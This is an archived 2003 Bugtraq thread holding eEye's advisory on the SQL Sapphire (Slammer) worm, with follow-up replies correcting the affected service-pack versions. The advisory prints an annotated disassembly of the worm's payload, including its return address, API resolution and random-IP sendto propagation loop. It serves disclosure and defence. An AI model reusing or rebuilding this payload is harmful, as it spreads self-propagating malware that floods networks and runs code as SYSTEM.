RE: SQL Sapphire Worm Analysis

From: Marc Maiffret (marcat_private)
Date: Sat Jan 25 2003 - 14:39:48 PST

  • Next message: trent dilkie: "RE: SQL Sapphire Worm Analysis"

    We updated that part of the advisory earlier this morning. The Corrective
    Action part of the advisory did mention SP3 as the right patch. However
    indeed at the top of the advisory SP2 was a mistake.
    
    For the latest version and information on our sql worm analysis goto:
    http://www.eeye.com/html/Research/Flash/AL20030125.html
    
    Signed,
    Marc Maiffret
    Chief Hacking Officer
    eEye Digital Security
    T.949.349.9062
    F.949.349.9538
    http://eEye.com/Retina - Network Security Scanner
    http://eEye.com/Iris - Network Traffic Analyzer
    http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
    
    | -----Original Message-----
    | From: trent dilkie [mailto:trentat_private]
    | Sent: Saturday, January 25, 2003 1:49 PM
    | To: 'Marc Maiffret'; 'BUGTRAQ'
    | Subject: RE: SQL Sapphire Worm Analysis
    |
    |
    | Actually, this effects SQL 2000 SP2 too, not just pre-SP2.
    |
    | To be safe from this exploit, you need to install SP2 AND MS02-039 or
    | install SP3. Also, we had some problems with SQL 2000 SP3 in our
    | testing, so
    | we haven't rolled it out yet.
    |
    | Trent.
    |
    |
    | -----Original Message-----
    | From: Marc Maiffret [mailto:marcat_private]
    | Sent: Saturday, January 25, 2003 10:12 AM
    | To: BUGTRAQ
    | Subject: SQL Sapphire Worm Analysis
    |
    |
    | SQL Sapphire Worm Analysis
    |
    | Release Date:
    | 1/25/03
    |
    | Severity:
    | High
    |
    | Systems Affected:
    | Microsoft SQL Server 2000 pre SP 2
    |
    | Description:
    | Late Friday, January 24, 2003 we became aware of a new SQL worm spreading
    | quickly across various networks around the world.
    |
    | The worm is spreading using a buffer overflow to exploit a flaw
    | in Microsoft
    | SQL Server 2000. The SQL 2000 server flaw was  discovered in July, 2002 by
    | Next Generation Security Software Ltd. The buffer overflow exists
    | because of
    | the way SQL  improperly handles data sent to its Microsoft SQL
    | Monitor port.
    | Attackers leveraging this vulnerability will be executing  their code as
    | SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges.
    |
    | The worm works by generating pseudo-random IP addresses to try to infect
    | with its payload. The worm payload does not contain  any additional
    | malicious content (in the form of backdoors etc.); however, because of the
    | nature of the worm and the speed at  which it attempts to
    | re-infect systems,
    | it can potentially create a denial-of-service attack against infected
    | networks.
    |
    | We have been able to verify that multiple points of connectivity on the
    | Internet have been bogged down since 9pm Pacific  Standard Time.
    |
    | It should be noted that this worm is not the same as an earlier SQL worm
    | that used the SA/nopassword SQL vulnerability as its  spread
    | vector. This is
    | a new worm is more devastating as it is taking advantage of a
    | software-specific flaw rather than a  configuration error. We have already
    | had many reports of smaller networks brought down due to the flood of data
    | from the  Sapphire Worm trying to re-infect new systems.
    |
    | Corrective Action
    | We recommend that people immediately firewall SQL service ports at all of
    | their gateways. The worm uses only UDP port 1434  (SQL Monitor Port) to
    | spread itself to a new system; however, it is safe practice to filter all
    | SQL traffic at all gateways.  The following is a list of SQL server ports:
    | ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s 1433/udp
    | #Microsoft-SQL-Server ms-sql-m 1434/tcp #Microsoft-SQL-Monitor ms-sql-m
    | 1434/udp #Microsoft-SQL-Monitor
    |
    | Once again this worm is taking advantage of a known vulnerability that has
    | had a patch available for many months. Microsoft  has also
    | released a recent
    | service pack for SQL (Service Pack 3) that includes a fix for this
    | vulnerability.
    |
    | Standalone patch:
    | http://www.microsoft.com/technet/treeview/default.asp?url=/technet
    | /security/
    | bulletin/MS02-039.asp
    |
    | SQL 2000 Service Pack 3:
    | http://www.microsoft.com/sql/downloads/2000/sp3.asp
    |
    | Previous SQL Service Pack versions are vulnerable.
    |
    | Technical Description
    |
    | The following is a quick run-down of what the worm's payload is
    | doing after
    | infection:
    | 1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in
    | sqlsort.dll. It snags the necessary library base  addresses and function
    | entry points as needed. 2. Calls gettickcount, and uses returned
    | count as a
    | pseudo-random seed 3. Creates a UDP socket 4. Performs a simple pseudo
    | random number generation formula using the returned gettickcount value to
    | generate an IP Address  that will later be used as the target. 5.
    | Send worm
    | payload in a SQL Server Resolution Service request to the pseudo random
    | target address, on port 1434 (UDP). 6. Return back to formula and continue
    | generating new pseudo random addresses.
    |
    |
    |                 push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
    |                 mov     eax, 1010101h   ; Reconstruct session, after the
    | overflow the payload buffer
    |                                         ; get's corrupted during program
    | execution but before the
    |                                         ; payload is executed. .
    |                 xor     ecx, ecx
    |                 mov     cl, 18h
    |
    | FIXUP:
    |                 push    eax
    |                 loop    FIXUP
    |                 xor     eax, 5010101h
    |                 push    eax
    |                 mov     ebp, esp
    |                 push    ecx
    |                 push    6C6C642Eh
    |                 push    32336C65h
    |                 push    6E72656Bh       ; kernel32
    |                 push    ecx
    |                 push    746E756Fh       ; GetTickCount
    |                 push    436B6369h
    |                 push    54746547h
    |                 mov     cx, 6C6Ch
    |                 push    ecx
    |                 push    642E3233h       ; ws2_32.dll
    |                 push    5F327377h
    |                 mov     cx, 7465h
    |                 push    ecx
    |                 push    6B636F73h       ; socket
    |                 mov     cx, 6F74h
    |                 push    ecx
    |                 push    646E6573h       ; sendto
    |                 mov     esi, 42AE1018h  ; IAT from sqlsort
    |                 lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
    |                 push    eax
    |                 call    dword ptr [esi] ; call loadlibrary
    |                 push    eax
    |                 lea     eax, [ebp-20h]
    |                 push    eax
    |                 lea     eax, [ebp-10h]  ; (kernel32.dll)
    |                 push    eax
    |                 call    dword ptr [esi] ; loadlibrary
    |                 push    eax
    |                 mov     esi, 42AE1010h  ; IAT from sqlsort
    |                 mov     ebx, [esi]
    |                 mov     eax, [ebx]
    |                 cmp     eax, 51EC8B55h  ; check entry point fingerprint
    |                 jz      short VALID_GP  ; Check entry point
    | fingerprint for
    | getprocaddress, if it failes
    |                                         ; fall back to
    | GetProcAddress entry
    | in another DLL version.
    |                                         ; Undetermined what dll versions
    | this will succedd on. Due
    |                                         ; to the lack of reliable
    | importing
    | this may not work across all
    |                                         ; dll versions.
    |                 mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C
    |
    | VALID_GP:
    |                 call    dword ptr [esi] ; GetProcAddress
    |                 call    eax             ; return from GetProcaddress =
    | GetTickCount entrypoint
    |                 xor     ecx, ecx
    |                 push    ecx
    |                 push    ecx
    |                 push    eax
    |                 xor     ecx, 9B040103h
    |                 xor     ecx, 1010101h
    |                 push    ecx             ; 9A050002 = port 1434 / AF_INET
    |                 lea     eax, [ebp-34h]  ; (socket)
    |                 push    eax
    |                 mov     eax, [ebp-40h]  ; ws2_32 base address
    |                 push    eax
    |                 call    dword ptr [esi] ; GetProcAddress
    |                 push    11h
    |                 push    2
    |                 push    2
    |                 call    eax             ; socket
    |                 push    eax
    |                 lea     eax, [ebp-3Ch]  ; sendto
    |                 push    eax
    |                 mov     eax, [ebp-40h]  ; ws2_32 base address
    |                 push    eax
    |                 call    dword ptr [esi] ; GetProcAddress
    |                 mov     esi, eax        ; save sendto -> esi
    |                 or      ebx, ebx
    |                 xor     ebx, 0FFD9613Ch
    |
    | PRND:
    |                 mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
    |                 lea     ecx, [eax+eax*2]
    |                 lea     edx, [eax+ecx*4]
    |                 shl     edx, 4
    |                 add     edx, eax
    |                 shl     edx, 8
    |                 sub     edx, eax
    |                 lea     eax, [eax+edx*4]
    |                 add     eax, ebx        ; Pseudo Random Algorithm End
    |                 mov     [ebp-4Ch], eax
    |                 push    10h
    |                 lea     eax, [ebp-50h]
    |                 push    eax
    |                 xor     ecx, ecx
    |                 push    ecx
    |                 xor     cx, 178h
    |                 push    ecx
    |                 lea     eax, [ebp+3]
    |                 push    eax
    |                 mov     eax, [ebp-54h]
    |                 push    eax
    |                 call    esi             ; sendto
    |                 jmp     short PRND    ; Jump back to Pseudo
    | Random Algorithm
    | Start
    |
    | In Closing
    | We have provided brief information here as we are currently working to
    | understand more of the worm's internal behavior. We  will provide
    | updates as
    | they become available.
    |
    | This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that
    | several engineers had to be pulled away from local  bars to begin the
    | investigation/dissection process.
    |
    | Credit:
    | Riley Hassell
    |
    | Related Links:
    | SQLSecurity.com
    | http://sqlsecurity.com/
    |
    | Microsoft Security Bulletin:
    | http://www.microsoft.com/technet/treeview/default.asp?url=/technet
    /security/
    bulletin/ms02-039.asp
    
    Copyright (c) 1998-2003 eEye Digital Security
    Permission is hereby granted for the redistribution of this alert
    electronically. It is not to be edited in any way without  express consent
    of eEye. If you wish to reprint the whole or any part of this alert in any
    other medium excluding electronic  medium, please e-mail alertat_private for
    permission.
    
    Disclaimer
    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS  IS condition. There are
    NO warranties with regard to this information. In no event shall the author
    be liable for any damages  whatsoever arising out of or in connection with
    the use or spread of this information. Any use of this information is at the
    user's own risk.
    
    Feedback
    Please send suggestions, updates, and comments to:
    
    eEye Digital Security
    http://www.eEye.com
    infoat_private
    



    This archive was generated by hypermail 2b30 : Sat Jan 25 2003 - 15:43:19 PST